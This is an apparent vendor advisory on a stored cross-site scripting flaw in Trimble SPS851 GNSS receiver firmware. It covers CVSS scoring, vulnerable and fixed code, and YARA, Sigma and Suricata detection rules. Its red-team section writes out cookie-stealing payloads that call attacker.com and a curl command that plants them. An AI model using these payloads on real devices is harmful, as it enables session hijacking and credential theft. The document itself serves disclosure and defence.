CVE-2025-0219
Executive Summary
CVE-2025-0219 is a publicly disclosed, unpatched stored cross-site scripting (XSS) vulnerability affecting the Trimble SPS851 GNSS receiver firmware version 488.01. The flaw resides in the Receiver Status Identity Tab, where the System Name argument is not properly sanitized, allowing an attacker to inject arbitrary JavaScript or HTML. This attack can be launched remotely without authentication, but requires user interaction (e.g., an operator viewing the status tab). The vendor (Trimble) was contacted but did not respond, leaving the device in an unpatched state. Given the critical role of GNSS receivers in surveying, construction, and agriculture, exploitation could lead to session hijacking, credential theft, or manipulation of displayed data.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded device (Trimble SPS851). No supply chain package security implications apply.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
- Base Score: 6.1 (Medium)
- Attack Vector: Network (AV:N) – exploitable remotely.
- Attack Complexity: Low (AC:L) – no special conditions required.
- Privileges Required: None (PR:N) – no authentication needed.
- User Interaction: Required (UI:R) – victim must view the affected tab.
- Scope: Unchanged (S:U) – vulnerable component only.
- Confidentiality Impact: Low (C:L) – limited data exposure.
- Integrity Impact: Low (I:L) – limited modification of content.
- Availability Impact: None (A:N) – no denial of service.
Threat Level: Medium. The attack is easy to execute but requires user interaction. However, the lack of a patch and public exploit disclosure increases the risk for unmonitored devices.
Deep Dive & Mechanics
The Trimble SPS851 is a GNSS receiver used for high-precision positioning. The web-based management interface includes a "Receiver Status Identity Tab" that displays device information. The System Name field is user-configurable and is rendered in the web interface without proper output encoding or sanitization.
Root Cause: The application fails to escape HTML entities (e.g., <, >, ", ') when displaying the System Name parameter. An attacker can set the system name to a payload like <script>alert('XSS')</script>. When an administrator or operator views the status tab, the script executes in their browser context.
Attack Flow:
- Attacker identifies a Trimble SPS851 device (e.g., via Shodan or network scan).
- Attacker sends a crafted HTTP request to the device’s configuration endpoint, setting the
System Nameto a malicious payload. - The device stores the payload in its configuration.
- A legitimate user (e.g., surveyor) accesses the Receiver Status Identity Tab.
- The payload executes, allowing the attacker to steal cookies, redirect the user, or perform actions on their behalf.
Impact: Session hijacking, credential theft, defacement, or further exploitation of the internal network.
Vulnerable vs. Patched Code
Since no patch exists, we compare the vulnerable code pattern to a secure implementation.
Vulnerable Code (Conceptual – PHP/HTML):
<?php
$systemName = $_POST['system_name']; // No sanitization
echo "<div>System Name: " . $systemName . "</div>";
?>
Patched Code (Conceptual – Secure):
<?php
$systemName = htmlspecialchars($_POST['system_name'], ENT_QUOTES, 'UTF-8');
echo "<div>System Name: " . $systemName . "</div>";
?>
The patched version uses htmlspecialchars() to encode special characters, preventing script injection.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A Trimble SPS851 device (or emulator) on the same network.
- Access to the device’s web interface (default credentials may be required for configuration).
Exploit Payload (Stored XSS):
<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>
Steps:
- Identify the device IP (e.g.,
192.168.1.100). - Send a POST request to the configuration endpoint (e.g.,
/config/system_name):curl -X POST http://192.168.1.100/config/system_name -d "system_name=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>" - Wait for an operator to view the status tab.
- Receive the stolen cookie on your attacker server.
Alternative Payload (Phishing):
<img src=x onerror="document.location='http://attacker.com/fake-login?user='+document.cookie">
Blue Team (Defensive)
Detection:
- Monitor HTTP requests to the device for unusual
system_nameparameters containing<script>,<img>, oronerrorpatterns. - Use network segmentation to isolate GNSS receivers from the internet.
- Implement a Web Application Firewall (WAF) to block XSS payloads.
Honeypot:
- Deploy a fake Trimble SPS851 interface to capture attacker behavior.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP POST requests to
/config/system_namewith HTML/JavaScript payloads. - Outbound connections from the device to unknown IPs (e.g., attacker-controlled servers).
- HTTP POST requests to
- Host IOCs:
- Unusual entries in the device’s configuration logs (e.g.,
system_namecontaining<script>). - Modified
System Namefield in the web interface.
- Unusual entries in the device’s configuration logs (e.g.,
- File IOCs:
- No file-based IOCs (embedded device).
Detection Engineering
YARA Rule
rule CVE_2025_0219_XSS_Payload {
meta:
description = "Detects XSS payloads targeting Trimble SPS851 System Name field"
author = "Valters IT"
date = "2025-01-01"
cve = "CVE-2025-0219"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
$xss3 = /onload\s*=\s*["']?[^"']*["']?/i
condition:
any of them
}
Sigma Rule
title: Trimble SPS851 XSS Attempt via System Name
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP POST requests to Trimble SPS851 with XSS payloads in system_name parameter
author: Valters IT
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/config/system_name'
cs-uri-query|contains:
- '<script'
- 'onerror'
- 'onload'
condition: selection
falsepositives:
- Legitimate use of HTML in system name (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-0219 Trimble SPS851 XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/config/system_name"; http_uri; content:"system_name"; http_client_body; pcre:"/(<script|onerror|onload)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the device: Place the Trimble SPS851 on a separate VLAN with strict firewall rules. Block inbound/outbound internet access.
- Disable unnecessary services: If the web interface is not required, disable it via device configuration.
- Monitor logs: Enable logging and monitor for suspicious POST requests to
/config/system_name.
Long-Term Fix:
- Vendor patch: Since Trimble has not responded, consider replacing the device or applying a reverse proxy (e.g., Nginx) to sanitize input/output.
- Custom WAF rule: Deploy a WAF (e.g., ModSecurity) to block XSS payloads before they reach the device.
Workaround:
- Use a script to periodically reset the
System Nameto a safe value (e.g., via cron job).
Valters IT
DevSecOps & Cyber Threat Intelligence